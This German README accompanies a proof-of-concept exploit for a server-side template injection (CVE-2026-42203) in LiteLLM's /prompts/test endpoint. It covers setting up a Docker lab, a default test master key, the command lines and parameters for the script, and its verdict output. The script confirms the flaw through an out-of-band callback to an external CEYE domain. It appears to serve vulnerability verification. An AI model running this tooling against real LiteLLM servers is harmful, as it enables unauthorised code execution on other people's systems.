
Proof-of-Concept-Exploit für CVE-2026-42203, eine serverseitige Template-Injection-Schwachstelle im LiteLLM-Endpunkt /prompts/test, mit lokalem Docker-Lab-Setup und CEYE-Callback-Verifizierung.
Diese Anleitung beschreibt, wie Sie eine lokale LiteLLM-Umgebung starten und die Datei CVE-2026-42203.py ausführen, um die SSTI-Schwachstelle /prompts/test zu überprüfen.
Verwenden Sie dies nur in einer autorisierten lokalen Testumgebung. Richten Sie das Skript nicht gegen nicht autorisierte öffentliche Ziele.
Wechseln Sie in das Lab-Verzeichnis und starten Sie LiteLLM, Postgres und Prometheus:
docker compose up -d
Containerstatus anzeigen:
docker compose ps
Überprüfen Sie, ob der Dienst erreichbar ist:
curl http://127.0.0.1:4000/
Der Standard-Master_Key lautet: sk-master-test-key-1234
Übergeben Sie die Parameter über die Befehlszeile:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Bedeutung der Variablen:
LITELLM_API_KEY: Der Zugriffsschlüssel für LiteLLM, der in der lokalen Docker-Umgebung normalerweise LITELLM_MASTER_KEY in der .env-Datei entspricht.CEYE_DOMAIN: Ihre CEYE-Subdomain, z. B. xxxxxx.ceye.io.CEYE_TOKEN: Ihr CEYE-API-Token zum Abfragen der Callback-Datensätze.Vollständiges Beispiel:
python3 cve_2026_42203_litellm_prompts_test_ssti.py \
--target http://127.0.0.1:4000 \
--auth 'sk-local-test-key' \
--ceye-domain 'your-id.ceye.io' \
--ceye-token 'your-ceye-api-token'
Wichtige Parameter:
--target: Adresse des LiteLLM-Dienstes, Standard ist http://127.0.0.1:4000.--auth / --api-key: Der LiteLLM-Key, der für den Aufruf von /prompts/test verwendet wird.--ceye-domain: Die CEYE-Callback-Domain.--ceye-token: CEYE-API-Token. Bei der Skriptausgabe wird dieser automatisch maskiert angezeigt.--wait: Wartezeit in Sekunden auf CEYE-Callback, Standard 20.--interval: Intervall in Sekunden zum Abrufen der CEYE-Datensätze, Standard 3.--timeout: HTTP-Request-Timeout in Sekunden, Standard 10.Wenn CEYE einen Callback empfängt, gibt das Skript aus:
[VULNERABLE] CEYE received the callback request.
Wenn innerhalb der Wartezeit kein Callback empfangen wurde, gibt das Skript aus:
[NOT_VULNERABLE] CEYE did not receive the callback request within the wait window.
--insecure: Diesen Parameter hinzufügen, wenn das Ziel ein selbstsigniertes HTTPS-Zertifikat verwendet, um die TLS-Zertifikatsprüfung zu deaktivieren.